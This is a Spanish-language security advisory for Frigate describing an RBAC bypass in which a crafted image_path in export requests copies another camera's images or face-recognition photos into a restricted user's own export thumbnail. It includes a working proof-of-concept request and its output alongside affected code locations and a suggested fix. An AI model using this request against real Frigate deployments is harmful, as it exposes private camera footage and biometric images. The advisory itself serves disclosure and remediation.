GHSA-XWHM-9623-6R35
Omisión de RBAC: divulgación de imágenes entre cámaras mediante image_path en los endpoints de exportación
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XWHM-9623-6R35 divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
El control de acceso basado en roles (RBAC) de Frigate (`auth.roles`) permite que un administrador restrinja a un usuario a un subconjunto de cámaras. Todos los endpoints que devuelven o actúan sobre datos con alcance por cámara aplican esta restricción mediante `require_camera_access()` / `get_allowed_cameras_for_filter()`.
Los endpoints de exportación de grabaciones aceptan un segundo campo independiente, `image_path`, que se usa para tomar la miniatura de una nueva exportación a partir de una imagen existente. Este campo solo se sanea para verificar que no haya recorrido de rutas fuera de `CLIPS_DIR` (`_sanitize_existing_image()`); nunca se comprueba contra la cámara que la dependencia de RBAC acaba de autorizar. `CLIPS_DIR` es un directorio compartido por todas las cámaras, por lo que un usuario restringido a la cámara A puede crear una exportación legítima para la cámara A (superando la verificación de ACL) y apuntar `image_path` a un archivo dentro del directorio de la cámara B.
El worker de exportación en segundo plano (`RecordingExporter.save_thumbnail`) entonces hace lo siguiente:
if self.user_provided_image is not None and os.path.isfile(self.user_provided_image):
shutil.copy(self.user_provided_image, thumb_path) # frigate/record/export.py:589
return thumb_pathsin comprobar que `self.user_provided_image` pertenezca realmente a `self.camera`. El archivo copiado se convierte en la miniatura de la exportación autorizada del solicitante, que luego puede descargar legítimamente. De este modo se exfiltra contenido de imágenes de una cámara (o del directorio de entrenamiento biométrico `faces/`) a la que nunca se le concedió acceso.
Este es un error del tipo "dos funciones seguras de forma independiente se combinan de forma insegura": la protección contra recorrido de rutas y el RBAC por cámara se implementaron correctamente por separado, pero nada los verifica entre sí para este campo.
Código afectado (archivo:línea, `master` actual)
- `frigate/api/export.py:131-145`: `_sanitize_existing_image()` valida solo el recorrido y la contención bajo `CLIPS_DIR`, nunca el alcance por cámara.
- `frigate/api/export.py:636-786` (`export_recordings_batch`, `POST /exports/batch`): verificación de ACL por elemento en `frigate/api/export.py:666-675`, completamente independiente de la sanitización de `image_path` en `frigate/api/export.py:680-686`.
- `frigate/api/export.py:802-829` (`export_recording`, `POST /export/{camera_name}/start/{start_time}/end/{end_time}`): mismo patrón. `require_camera_access` controla `camera_name`, mientras que `body.image_path` se sanea de forma independiente.
- `frigate/api/export.py:943-967` (`export_recording_custom`, `POST /export/{camera_name}/customize/start/{start}/end/{end}`): mismo patrón.
- `frigate/record/export.py:583-590` (`RecordingExporter.save_thumbnail`): el destino, con una llamada incondicional a `shutil.copy(self.user_provided_image, thumb_path)`.
- `frigate/record/export.py:896-928` (`RecordingExporter.run`): confirma que la copia y `Export.insert()` (que persiste `thumb_path`) ocurren antes de cualquier paso de codificación de video con FFmpeg.
Prueba de concepto
Se reprodujo de extremo a extremo contra la fábrica de aplicaciones de producción `frigate.api.fastapi_app.create_fastapi_app()`, usando `TestClient` de FastAPI (manejo real de solicitudes ASGI), una base de datos SQLite temporal real migrada con las migraciones `peewee_migrate` propias de Frigate, y el hilo real de `RecordingExporter` ejecutando un `shutil.copy()` real de un archivo real en disco.
Solo se simuló la pila de dependencias de ML/detección no relacionada (`cv2`, TensorFlow, ONNX Runtime, etc.). Ninguno de esos módulos forma parte de la ruta vulnerable.
Configuración
config = {
"auth": {
"roles": {
"limited_user": ["front_door"]
}
},
"cameras": {
"front_door": {...},
"back_door": {...},
},
}
# miniatura privada de back_door, NO accesible para limited_user:
open(
f"{CLIPS_DIR}/thumbs/back_door/private.jpg",
"wb",
).write(SECRET_BYTES)Ataque
Como `limited_user`, se envía una solicitud HTTP real a través de la aplicación de producción:
POST /exports/batch
X-Remote-Role: limited_user
Content-Type: application/json
{
"items": [
{
"camera": "front_door",
"start_time": ...,
"end_time": ...,
"image_path": "/.../clips/thumbs/back_door/private.jpg"
}
]
}Resultado observado
[attack] response status=202
{
'success': True,
'export_id': 'front_door_xfw459',
...
}
[verify] Export DB row:
camera=front_door
thumb_path=.../export/front_door_xfw459.webp
[verify] thumbnail file contents:
b'BACK_DOOR_PRIVATE_CAMERA_SNAPSHOT_...'
!!! VULNERABLE: back_door's private image was copied into
limited_user's own front_door export thumbnail !!!
[verify] GET /exports/front_door_xfw459 (as limited_user) -> 200
[verify] thumb_path=.../export/front_door_xfw459.webp
(their own export — legitimately downloadable)`limited_user` nunca tuvo `back_door` en su lista de permitidos en ningún momento. La solicitud no fue rechazada por el `image_path` que no correspondía, y los bytes filtrados pueden verificarse byte a byte en la miniatura registrada en la base de datos, que el propio usuario puede descargar.
Impacto
Cualquier usuario con permisos de creación de exportaciones en al menos una cámara puede exfiltrar un archivo arbitrario de cualquier ubicación bajo `CLIPS_DIR`, incluyendo:
- Clips y miniaturas de otras cámaras, incluidas las cámaras restringidas a administradores.
- El directorio `faces/`, que contiene fotos de entrenamiento para el reconocimiento facial de personas identificadas.
Es un problema que afecta solo a la confidencialidad; no se identificó impacto en la integridad ni en la disponibilidad.
Tampoco es una regresión de la protección existente contra recorrido de rutas: la contención fuera de `CLIPS_DIR` sigue corregida. El problema es específicamente una brecha de alcance y verificación cruzada entre la contención en el sistema de archivos y la autorización por cámara.
Corrección sugerida
En `_sanitize_existing_image()` (o en sus puntos de llamada), exigir además que el componente del nombre de cámara de la ruta de imagen resuelta, siguiendo el mismo criterio de análisis de directorios por cámara que ya usa `media_auth.py` en otras partes del código, sea igual al `camera` / `camera_name` del propio elemento de exportación.
Rechazar la solicitud si la ruta pertenece a otra cámara o a un directorio no asociado a una cámara, salvo que ese directorio esté autorizado explícitamente.
Esto reflejaría la verificación existente en `export.py:666-675` y garantizaría que la autorización del campo `camera` de la exportación también limite el `image_path` controlado por el usuario.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiFrigate |
Sin parche | — | — | 0.7.0 afectada |
0.18.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/blakeblackshear/frigate/security/advisories/GHSA-xwhm-9623-6r35Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
